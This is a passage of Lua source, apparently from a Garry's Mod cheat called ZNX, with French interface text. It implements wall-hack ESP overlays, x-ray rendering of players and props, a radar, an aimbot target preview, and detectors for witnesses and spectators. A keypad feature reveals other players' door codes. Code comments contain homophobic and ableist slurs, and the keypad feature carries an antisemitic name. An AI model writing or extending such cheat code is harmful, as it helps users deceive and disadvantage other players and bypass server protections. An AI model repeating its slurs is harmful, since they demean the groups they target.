  2781. --[[
  2782. cam.Start3D(EyePos(),EyeAngles())
  2783. render.StartBeam( 5 )
  2784. for i = 0, 4 do
  2785. local zp = src + (me:GetAimVector() * (i * 200)) + Vector( 0, 0, -(i ^ 3.15))
  2786. render.AddBeam( zp, 150, i, Color( 255, 100, 0) )
  2787. end
  2788. render.EndBeam()
  2789. render.DrawBeam( me:EyePos(), me:EyePos() + me:GetAimVector() * 2000, 50, 0, 1, Color( 255, 100, 0) )
  2790. cam.End3D()
  2791. --]]
  2792. local vz2, ppos2 = ZNX.PlayerVisiblePK( src, v )
  2793. if vz2 then
  2794. cam.Start3D(EyePos(),EyeAngles())
  2795. render.DrawBeam( src, ppos2, 50, 0, 1, teamcol2 )
  2796. cam.End3D()
  2797. end
  2798. end
  2799. end
  2800. -- target highlighting
  2801. if ZNX.Vars.ShowTargets and ZNX.IsTarget( v ) then
  2802. draw.SimpleTextOutlined( "[CIBLE]", "DermaDefault", math.Clamp(pos.x, 30, ScrW() - 54), math.Clamp(pos.y - 74, 30, ScrH() - 54), Color(255,155,0,255), 1, 0, 1, Color(55,20,0,255) )
  2803. surface.SetDrawColor(Color(255,155,0,255))
  2804. surface.DrawLine( ScrW() / 2, ScrH(), pos.x, pos.y )
  2805. end
  2806. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) and !ZNX.IsTarget( v ) then
  2807. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2808. end
  2809. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2810. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y - 90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2811. end
  2812. if ZNX.Vars.Vizlines then
  2813. local tr = util.TraceLine ({
  2814. start = v:EyePos(),
  2815. endpos = v:EyePos() + v:GetAimVector() * 5000,
  2816. filter = v,
  2817. mask = MASK_SOLID_BRUSHONLY
  2818. })
  2819. local tp = tr.HitPos:ToScreen()
  2820. local p = v:EyePos():ToScreen()
  2821. surface.DrawLine(p.x, p.y, tp.x, tp.y)
  2822. surface.SetDrawColor(teamcol)
  2823. surface.DrawLine(tp.x - 4, tp.y, tp.x + 4, tp.y)
  2824. surface.DrawLine(tp.x, tp.y - 4, tp.x, tp.y + 4)
  2825. end
  2826. if ZNX.Vars.ShowDistance then
  2827. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 40, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2828. end
  2829. if ZNX.Vars.ShowHP then
  2830. local colhp = math.Clamp(v:Health() * 3, 0, 255)
  2831. local colcomp = Color(255,colhp,0,255)
  2832. draw.SimpleTextOutlined( tostring(v:Health()).."%", "DermaDefault", pos.x, pos.y - 51, colcomp, 1, 0, 1, Color(0,0,0,255) )
  2833. end
  2834. if ZNX.Vars.ArmeESP then
  2835. if(v:GetActiveWeapon():IsValid()) then
  2836. draw.SimpleTextOutlined( v:GetActiveWeapon():GetClass(), "DermaDefault", pos.x, pos.y -18, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2837. end
  2838. end
  2839. if ZNX.Vars.ArgentESP then
  2840. local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
  2841. draw.SimpleTextOutlined( playermoney.."�", "DermaDefault", pos.x, pos.y - 28, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2842. end
  2843. if ZNX.Vars.PKVelocity then
  2844. local velpos = ((v:GetPos() + Vector(0, 0, 45)) + v:GetVelocity() * 0.3 ):ToScreen()
  2845. surface.SetDrawColor(teamcol)
  2846. surface.SetMaterial( leadermat )
  2847. surface.DrawTexturedRect(velpos.x - 15, velpos.y - 15, 30, 30)
  2848. surface.SetDrawColor(teamcol2)
  2849. surface.DrawTexturedRect(velpos.x - 10, velpos.y - 10, 20, 20)
  2850. end
  2851. -- the fag is dead, i dunno why i did a second logic block for this, im just retarded i guess
  2852. elseif ZNX.Vars.ShowDead then
  2853. surface.SetDrawColor(Color(255,255,255,255))
  2854. surface.DrawLine(pos.x - 15, pos.y - 15, pos.x + 15, pos.y + 15)
  2855. surface.DrawLine(pos.x + 15, pos.y - 15, pos.x - 15, pos.y + 15)
  2856. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2857. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) then
  2858. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2859. end
  2860. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2861. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y -90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2862. end
  2863. if ZNX.Vars.ShowDistance then
  2864. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 51, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2865. end
  2866. end
  2867. end -- end of players loop
  2868. if ZNX.Vars.ESPProps then
  2869. for k, v in pairs(ents.FindByClass("prop_physics")) do
  2870. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2871. local pos = (v:LocalToWorld(v:OBBCenter())):ToScreen()
  2872. surface.SetDrawColor(Color(150,150,150,255))
  2873. surface.DrawOutlinedRect(pos.x - 10, pos.y - 10, 20, 20)
  2874. local aligndist = surface.GetTextSize( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m" )
  2875. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x - (aligndist / 2), pos.y + 12, Color(200,200,200,255), 0, 0, 1, Color(0,0,55,255) )
  2876. end
  2877. end
  2878. if ZNX.Vars.Entfinder then
  2879. for k, v in pairs(ents.GetAll()) do
  2880. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2881. local drawing = false
  2882. for i,p in pairs(ZNX.MarkedEnts) do
  2883. if v:GetClass() == p then
  2884. drawing = true
  2885. end
  2886. end
  2887. if drawing then
  2888. local pos = (v:GetPos()+Vector(0,0,5)):ToScreen()
  2889. draw.SimpleTextOutlined( tostring("["..v:GetClass().."]"), "ESP", pos.x-30 , pos.y - 20, Color(235,0,0,255), 0, 0, 1, Color(0,0,0,255) )
  2890. end
  2891. end
  2892. end
  2893. end -- end of showesp
  2894. if ZNX.Freecam then
  2895. local CamData = {}
  2896. CamData.origin = ZNX.FreecamCoordinates.pos
  2897. CamData.angles = ZNX.FreecamCoordinates.ang
  2898. CamData.x = ZNX.NumberVars.MirrorX
  2899. CamData.y = ZNX.NumberVars.MirrorY
  2900. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2901. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2902. CamData.drawviewmodel = false
  2903. CamData.drawhud = false
  2904. CamData.fov = 90
  2905. render.RenderView( CamData )
  2906. end
  2907. if ZNX.Vars.Mirror then
  2908. local CamData = {}
  2909. if ZNX.NumberVars.MirrorAxis == 0 then
  2910. CamData.angles = Angle(0,me:EyeAngles().yaw - 180,0)
  2911. elseif ZNX.NumberVars.MirrorAxis == 1 then
  2912. CamData.angles = Angle(me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2913. else
  2914. CamData.angles = Angle(-me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2915. end
  2916. CamData.origin = me:GetPos()+Vector(0,0,50)
  2917. CamData.x = ZNX.NumberVars.MirrorX
  2918. CamData.y = ZNX.NumberVars.MirrorY
  2919. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2920. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2921. CamData.drawviewmodel = false
  2922. CamData.drawhud = false
  2923. CamData.fov = 90
  2924. render.RenderView( CamData )
  2925. end
  2926. if ZNX.Vars.PreviewTarget then
  2927. local t = ZNX.AimbotPreviewTarget
  2928. if isvector( t ) then
  2929. local p = t:ToScreen()
  2930. surface.SetDrawColor(Color(200,0,0,255))
  2931. surface.DrawRect(p.x-1, p.y + 2, 2, 5)
  2932. surface.DrawRect(p.x-1, p.y - (2 + 5), 2, 5)
  2933. surface.DrawRect(p.x + 2, p.y-1, 5, 2)
  2934. surface.DrawRect(p.x - (2 + 5), p.y-1, 5, 2)
  2935. end
  2936. end
  2937. if ZNX.Vars.Radar then
  2938. local size = ZNX.NumberVars.RadarSize
  2939. local fov = ZNX.NumberVars.RadarZoom
  2940. local x = ZNX.NumberVars.RadarX
  2941. local y = ZNX.NumberVars.RadarY
  2942. surface.SetDrawColor(ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, ZNX.NumberVars.RadarAlpha)
  2943. surface.DrawRect(x - 2, y - 2, size + 4, size + 4)
  2944. surface.SetDrawColor(Color(20, 20, 20, ZNX.NumberVars.RadarAlpha))
  2945. surface.DrawRect(x, y, size, size)
  2946. surface.SetDrawColor(Color(30, 30, 30, 255))
  2947. surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
  2948. surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
  2949. surface.SetDrawColor(ZNX.DefaultScheme)
  2950. surface.DrawRect((x -2)+ (size/2), (y-2) + (size/2), 4, 4)
  2951. for key, ply in pairs(player.GetAll()) do
  2952. local teamcol = team.GetColor(ply:Team())
  2953. if ply != me and !ZNX.IsDead( ply ) then
  2954. local lx = me:GetPos().x - ply:GetPos().x
  2955. local ly = me:GetPos().y - ply:GetPos().y
  2956. local ang = EyeAngles().y
  2957. local cos = math.cos(math.rad(-ang))
  2958. local sin = math.sin(math.rad(-ang))
  2959. local px = (ly * cos) + (lx * sin)
  2960. local py = (lx * cos) - (ly * sin)
  2961. px = px / fov
  2962. py = py / fov
  2963. px = math.Clamp(px, -(size * 0.50), size * 0.50)
  2964. py = math.Clamp(py, -(size * 0.50), size * 0.50)
  2965. local name = player.GetAll()[key]:Nick()
  2966. draw.SimpleText(name, "default", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  2967. surface.SetDrawColor(teamcol)
  2968. surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
  2969. end
  2970. end
  2971. end
  2972. function GAMEMODE:HUDDrawTargetID()
  2973. return false
  2974. end
  2975. if ZNX.Vars.Crosshair then
  2976. local degage = {
  2977. ["CHudCrosshair"]=true,
  2978. }
  2979. hook.Add("HUDShouldDraw", "RemovefuckingCrosshair_", function(name)
  2980. if degage[name] then return false end
  2981. end)
  2982. local hitpos = util.TraceLine ({
  2983. start = me:GetShootPos(),
  2984. endpos = me:GetShootPos() + me:GetAimVector() * 4096,
  2985. filter = me,
  2986. mask = MASK_SHOT
  2987. }).HitPos
  2988. local screenpos = hitpos:ToScreen()
  2989. local x = screenpos.x
  2990. local y = screenpos.y
  2991. if not ZNX.NameStealPlayer:KeyDown(IN_ATTACK2) then
  2992. surface.SetDrawColor(Color(0,0,0, 200))
  2993. surface.DrawRect((ScrW() / 2) - 2, (ScrH() / 2) - 2, 4, 4)
  2994. surface.SetDrawColor(Color(175,238,238, 200))
  2995. surface.DrawRect((ScrW() / 2) - 1, (ScrH() / 2) - 1, 2, 2)
  2996. end
  2997. --surface.DrawRect(x-1, y + 6, 2, 20)
  2998. --surface.DrawRect(x-1, y - (6 + 20), 2, 20)
  2999. --surface.DrawRect(x + 6, y-1, 20, 2)
  3000. --surface.DrawRect(x - (6 + 20), y-1, 20, 2)
  3001. if ZNX.CrossHairAlpha > 0 then ZNX.CrossHairAlpha = math.Clamp(ZNX.CrossHairAlpha - 6, 0, 255) end
  3002. surface.SetDrawColor(Color(255, 255, 255, ZNX.CrossHairAlpha))
  3003. surface.DrawLine(x - 12, y + 12, x - 6, y + 6)
  3004. surface.DrawLine(x + 12, y + 12, x + 6, y + 6)
  3005. surface.DrawLine(x - 12, y - 12, x - 6, y - 6)
  3006. surface.DrawLine(x + 12, y - 12, x + 6, y - 6)
  3007. local x = ScrW()*.5
  3008. local y = ScrH()*.57
  3009. target = LocalPlayer():GetEyeTrace().Entity
  3010. if LocalPlayer():Alive() and LocalPlayer():GetActiveWeapon():IsValid() and (target:IsPlayer()) then
  3011. local colhp = math.Clamp(target:Health() * 3, 0, 255)
  3012. local colcomp = Color(255,colhp,0,255)
  3013. draw.DrawText(target:Nick(), "default", x, y -17, team.GetColor(target:Team()), 1)
  3014. draw.DrawText(target:Health().."%", "default", x, y , colcomp, 1)
  3015. end
  3016. else
  3017. hook.Remove("HUDShouldDraw", "RemovefuckingCrosshair_")
  3018. end
  3019. if isvector( ZNX.CurrentBase ) then
  3020. local sc = (ZNX.CurrentBase + Vector( 0, 0, 10 )):ToScreen()
  3021. draw.SimpleText("Alarme", "default", sc.x, sc.y - 42, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  3022. draw.SimpleText( ZNX.ToMetric( LocalPlayer():GetPos():Distance( ZNX.CurrentBase ) ).."m", "default", sc.x, sc.y - 30, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  3023. surface.SetDrawColor( Color(205,205,255, 100 ) )
  3024. draw.NoTexture()
  3025. local triangle = {
  3026. { x = sc.x - 10, y = sc.y - 20 },
  3027. { x = sc.x + 10, y = sc.y - 20 },
  3028. { x = sc.x, y = sc.y },
  3029. }
  3030. surface.DrawPoly( triangle )
  3031. end
  3032. if ZNX.Vars.KeypadJew then
  3033. local e = me:GetEyeTrace().Entity
  3034. if IsValid(e) and string.find( e:GetClass(), "Keypad") then
  3035. local text;
  3036. local color;
  3037. if(e.code && e.code != "") then
  3038. text = e.code;
  3039. color = Color( 105, 255, 105, 150 )
  3040. elseif(e.tempCode && e.tempCode != "") then
  3041. text = e.tempCode;
  3042. color = Color( 250, 150, 150, 150 )
  3043. else
  3044. text = "Inconnu"
  3045. color = Color(150,150,150,150)
  3046. end
  3047. -- draw.WordBox( 8, ScrW() / 2, ScrH() / 2, text, "Default", color, Color(255,255,255,255) )
  3048. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3049. surface.SetMaterial( grad )
  3050. surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
  3051. draw.SimpleText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3052. end
  3053. for k,v in pairs(ents.GetAll()) do
  3054. if IsValid(v) and string.find( v:GetClass(), "Keypad") then
  3055. if v != e and me:GetPos():Distance( v:GetPos() ) < 8000 then
  3056. local pos = v:GetPos():ToScreen()
  3057. if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
  3058. if (v.code && v.code != "") then
  3059. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3060. surface.SetMaterial( grad )
  3061. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3062. draw.SimpleText( v.code, "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3063. -- draw.WordBox( 8, pos.x-5, pos.y-5, v.code, "Default", Color( 0, 255, 0, 150 ), Color(255,255,255,255) )
  3064. else
  3065. if(v.tempCode && v.tempCode != "") then
  3066. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3067. surface.SetMaterial( grad )
  3068. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3069. draw.SimpleText( v.tempCode, "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3070. else
  3071. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3072. surface.SetMaterial( grad )
  3073. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3074. draw.SimpleText( "Inconnu", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3075. end
  3076. end
  3077. end
  3078. end
  3079. end
  3080. end
  3081. end
  3082. if ZNX.Vars.Bhop then
  3083. local sped = me:GetVelocity():Length()
  3084. draw.SimpleText("V�locit�: "..math.Round( sped ), "DermaDefault", (ScrW() / 2), ScrH() - 60, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
  3085. surface.SetDrawColor( ZNX.DefaultScheme )
  3086. surface.DrawOutlinedRect( (ScrW() / 2) - 100, ScrH() - 50, 200, 10 )
  3087. surface.SetDrawColor( Color( ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, 100 ) )
  3088. surface.DrawRect( (ScrW() / 2) - 100, ScrH() - 50, math.Clamp( (sped / 2000) * 200, 0, 200 ), 10 )
  3089. end
  3090. if ZNX.Vars.WitnessDetector then
  3091. if #ZNX.Witnesses > 0 then
  3092. surface.SetDrawColor( ZNX.DefaultScheme )
  3093. surface.DrawRect( (ScrW() / 2) - 150, 0, 300, (#ZNX.Witnesses * 20) + 30)
  3094. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3095. surface.DrawRect( (ScrW() / 2) - 145, 25, 290, (#ZNX.Witnesses * 20) )
  3096. draw.SimpleText("Ces personnes peuvent vous voir", "DermaDefault", (ScrW() / 2) - 77, 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3097. for k, v in pairs(ZNX.Witnesses) do
  3098. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3099. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, 8 + (k * 20), ZNX.GetESPColor( v ) )
  3100. end
  3101. end
  3102. end
  3103. if ZNX.Vars.SpectatorDetector then
  3104. local starty = 0
  3105. if ZNX.Vars.WitnessDetector then starty = (#ZNX.Witnesses * 20) + 35 end
  3106. if ZNX.TheyHaveEyesEverywhere and #ZNX.TheyHaveEyesEverywhere > 0 then
  3107. surface.SetDrawColor( ZNX.DefaultScheme )
  3108. surface.DrawRect( (ScrW() / 2) - 150, starty, 300, (#ZNX.TheyHaveEyesEverywhere * 20) + 30)
  3109. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3110. surface.DrawRect( (ScrW() / 2) - 145, starty + 25, 290, (#ZNX.TheyHaveEyesEverywhere * 20) )
  3111. draw.SimpleText("Ces personnes vous spectate", "DermaDefault", (ScrW() / 2) - 70, starty + 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3112. for k, v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3113. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3114. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, starty + 8 + (k * 20), ZNX.GetESPColor( v ) )
  3115. end
  3116. end
  3117. end
  3118. -- ent scanner
  3119. if ZNX.EntScanner then
  3120. local c = me:GetEyeTrace()
  3121. local screenpos = c.HitPos:ToScreen()
  3122. local x = screenpos.x
  3123. local y = screenpos.y
  3124. local pulse = math.abs( math.sin( CurTime() * 2 ) )
  3125. surface.SetDrawColor( ZNX.DefaultScheme )
  3126. surface.SetMaterial( scanmat )
  3127. surface.DrawTexturedRect( x - (15 + (pulse * 15)), y - (15 + (pulse * 15)), 30 + (pulse * 30), 30 + (pulse * 30) )
  3128. surface.SetDrawColor( ZNX.DefaultScheme2 )
  3129. surface.DrawTexturedRect( x - (12 + (pulse * 12)), y - (12 + (pulse * 12)), 24 + (pulse * 24), 24 + (pulse * 24) )
  3130. if c.Entity and c.Entity:IsValid() then
  3131. ZNX.EntScannerTab = {}
  3132. local e = c.Entity
  3133. ZNX.EntScannerEnt = e
  3134. if e:IsPlayer() then
  3135. table.insert( ZNX.EntScannerTab, e:Nick() )
  3136. table.insert( ZNX.EntScannerTab, {e:SteamID(), Color(255,255,255)} )
  3137. table.insert( ZNX.EntScannerTab, {ZNX.GetRank( e ), Color( 255, 100, 0 )} )
  3138. table.insert( ZNX.EntScannerTab, "Sante: "..e:Health().."% Armure: "..e:Armor().."%" )
  3139. if DarkRP then
  3140. table.insert( ZNX.EntScannerTab, {DarkRP.formatMoney(e:getDarkRPVar("money")) or "$ERROR", Color( 50, 255, 50)} )
  3141. table.insert( ZNX.EntScannerTab, {"Vrai Nom: "..e:SteamName(), Color( 150, 150, 150)} )
  3142. end
  3143. if e:GetActiveWeapon() then table.insert( ZNX.EntScannerTab, "Arme dans sa main: "..(e:GetActiveWeapon():GetClass() or "None" ) ) end
  3144. local weps = {}
  3145. for _, g in pairs( e:GetWeapons() ) do table.insert( weps, g:GetClass() )end
  3146. table.insert( ZNX.EntScannerTab, {table.ToString( weps ), Color(155,155,255)} )
  3147. end
  3148. table.insert( ZNX.EntScannerTab, e:GetClass() )
  3149. table.insert( ZNX.EntScannerTab, e:GetModel() )
  3150. table.insert( ZNX.EntScannerTab, "Distance: "..ZNX.ToMetric(e:GetPos():Distance( me:GetPos() )).."m" )
  3151. end
  3152. local textx, texty = ScrW() / 2 + 50, ScrH() / 2
  3153. for k, v in pairs(ZNX.EntScannerTab) do
  3154. if istable( v ) then
  3155. draw.SimpleTextOutlined( v[1], "default", textx + 40, (texty - 40) + (k * 12), v[2], 0, 0, 1, Color(0,0,0) )
  3156. else
  3157. draw.SimpleTextOutlined( v, "default", textx + 40, (texty - 40) + (k * 12), ZNX.DefaultScheme, 0, 0, 1, Color(0,0,0) )
  3158. end
  3159. end
  3160. end
  3161. ZNX.MemoryDebug["hud"] = gcinfo() - memfootprint
  3162. end
  3163. hook.Add("HUDPaint", "znx_hud", ZNX.Vision)
  3164. ---------------------------------------------- NEW XRAY HERE -------------------------------------------------
  3165.  
  3166. if ZNX.Vars.Xray then
  3167. for k, v in pairs(ents.GetAll()) do
  3168. if ZNX.ToMetric(me:GetPos():Distance(v:GetPos())) > ZNX.NumberVars.XrayDistance then if v:GetColor().a == 100 then v:SetColor(Color(255,255,255,255)) end continue end
  3169. -- set rendermode none?
  3170. if ZNX.Vars.XrayPlayers then
  3171. if v:IsValid() and v:IsPlayer() and v != LocalPlayer() and !ZNX.IsDead( v ) and ZNX.OnScreen( v ) then
  3172. cam.Start3D(EyePos(),EyeAngles())
  3173. if ZNX.Vars.NoChamColours then
  3174. v:SetMaterial(ZNX.mat1)
  3175. v:SetRenderMode(4)
  3176. v:SetColor(xraytrans)
  3177. render.SuppressEngineLighting( true )
  3178. render.MaterialOverride( ZNX.mat1 )
  3179. end
  3180. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 0, 1, 0 ) render.SetBlend(0.8) else render.SetColorModulation( ZNX.ColScheme.x, ZNX.ColScheme.y, ZNX.ColScheme.z ) render.SetBlend(0.3) end
  3181. v:DrawModel()
  3182. if IsValid( v:GetActiveWeapon() ) then
  3183. if ZNX.Vars.NoChamColours then render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) end
  3184. v:GetActiveWeapon():DrawModel()
  3185. end
  3186. render.SetBlend(1)
  3187. render.SuppressEngineLighting( false )
  3188. render.MaterialOverride( )
  3189. -- v:SetColor(Color(255,255,255,255))
  3190. cam.End3D()
  3191. end
  3192. end
  3193. if ZNX.Vars.XrayProps then
  3194. if v:IsValid() and v:GetClass() == "prop_physics" and ZNX.OnScreen( v ) then
  3195. cam.Start3D(EyePos(),EyeAngles())
  3196. if ZNX.Vars.NoChamColours then
  3197. v:SetMaterial(ZNX.mat1)
  3198. v:SetRenderMode(4)
  3199. v:SetColor(xraytrans)
  3200. render.SuppressEngineLighting( true )
  3201. render.MaterialOverride( ZNX.mat1 )
  3202. end
  3203. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 1, 0.2, 0 ) render.SetBlend(0.6) else render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) render.SetBlend(0.3) end
  3204. v:DrawModel()
  3205. render.SetBlend(1)
  3206. render.SuppressEngineLighting( false )
  3207. render.MaterialOverride( )
  3208. -- v:SetColor(Color(255,255,255,255))
  3209. cam.End3D()
  3210. end
  3211. end
  3212. if ZNX.Vars.XrayEntfinder then
  3213. local drawing = false
  3214. for i,p in pairs(ZNX.MarkedEnts) do
  3215. if v:GetClass() == p then
  3216. drawing = true
  3217. end
  3218. end
  3219. if drawing and ZNX.OnScreen( v ) then
  3220. cam.Start3D(EyePos(),EyeAngles())
  3221. v:SetMaterial(ZNX.mat1)
  3222. v:SetRenderMode(4)
  3223. v:SetColor(xraytrans)
  3224. render.SuppressEngineLighting( true )
  3225. render.MaterialOverride( ZNX.mat1 )
  3226. render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z )
  3227. render.SetBlend(0.3)
  3228. v:DrawModel()
  3229. render.SetBlend(1)
  3230. render.SuppressEngineLighting( false )
  3231. render.MaterialOverride( )
  3232. -- v:SetColor(Color(255,255,255,255))
  3233. cam.End3D()
  3234. end
  3235. end
  3236. end
  3237. end
  3238. --]]
  3239. function ZNX.DrawXrayEntity( ent, col, domat, ghost )
  3240. cam.Start3D( EyePos(), EyeAngles() )
  3241. cam.IgnoreZ( true )
  3242. if domat then render.MaterialOverride( ZNX.Mat1 ) end
  3243. render.SuppressEngineLighting( true )
  3244. render.SetColorModulation( col.r / 255, col.g / 255, col.b / 255 )
  3245. if ghost then render.SetBlend( 0.3 ) end
  3246. ent:DrawModel()
  3247. render.SuppressEngineLighting( false )
  3248. cam.IgnoreZ( false )
  3249. render.MaterialOverride()
  3250. cam.End3D()
  3251. end
  3252. function ZNX.DoXray()
  3253. local me = LocalPlayer()
  3254. if !me or !me:IsValid() or !ZNX.Vars.Xray then return end
  3255. local fags = ents.GetAll()
  3256. -- table.sort( fags, function( a, b ) return a:GetPos():DistToSqr( EyePos() ) > b:GetPos():DistToSqr( EyePos() ) end )
  3257. for k, v in ipairs( fags ) do
  3258. if !ZNX.OnScreen( v, 50 ) or ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.XrayDistance then continue end
  3259. -- players loop
  3260. if ZNX.Vars.XrayPlayers and !Visible(v) and v:IsPlayer() then
  3261. if v == LocalPlayer() or !v:Alive() then continue end
  3262. local teamcol, teamcol2
  3263. if ZNX.Vars.TeamColors then
  3264. teamcol = team.GetColor(v:Team())
  3265. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  3266. elseif ZNX.Vars.PKChams then
  3267. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3268. else
  3269. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3270. end
  3271. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid )
  3272. local gun = v:GetActiveWeapon()
  3273. if gun and gun:IsValid() then ZNX.DrawXrayEntity( gun, teamcol2, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid ) end
  3274. end
  3275. -- props loop
  3276. if ZNX.Vars.XrayProps and v:GetClass() == "prop_physics" then
  3277. local teamcol, teamcol2
  3278. if ZNX.Vars.PKChams then
  3279. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3280. else
  3281. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3282. end
  3283. ZNX.DrawXrayEntity( v, teamcol2, ZNX.Vars.NoChamColours, true )
  3284. end
  3285. -- ents loop
  3286. if ZNX.Vars.XrayEntfinder and table.HasValue( ZNX.MarkedEnts, v:GetClass() ) then
  3287. local teamcol, teamcol2
  3288. if ZNX.Vars.PKChams then
  3289. teamcol = Color( 255, 255, 0 ) teamcol2 = Color( 255, 255, 0 )
  3290. else
  3291. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3292. end
  3293. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, true )
  3294. end
  3295. end
  3296. end
  3297. hook.Add( "PreDrawHUD", "AB_NewXray", ZNX.DoXray )
  3298. function ZNX.PKBeamsCore()
  3299. if ZNX.Vars.PKVerticalBeams then
  3300. render.SetMaterial( beammat )
  3301. for k, v in pairs( player.GetAll()) do
  3302. if !v:Alive() or v == LocalPlayer() then continue end
  3303. render.DrawBeam( v:GetPos() + Vector( 0, 0, -2000 ), v:GetPos() + Vector( 0, 0, 2000 ), 50, 0, 1, Color(255,255,255) )
  3304. end
  3305. end
  3306. end
  3307. hook.Add("PostDrawTranslucentRenderables", "znx_beams", ZNX.PKBeamsCore)
  3308. function ZNX.ToggleEntityScanner()
  3309. if !ZNX.EntScanner then
  3310. ZNX.EntScanner = true
  3311. ZNX.ScannerButton1 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 50, "Afficher sur la Console", function() print(ZNX.EntScannerEnt)
  3312. for k, v in pairs( ZNX.EntScannerTab ) do
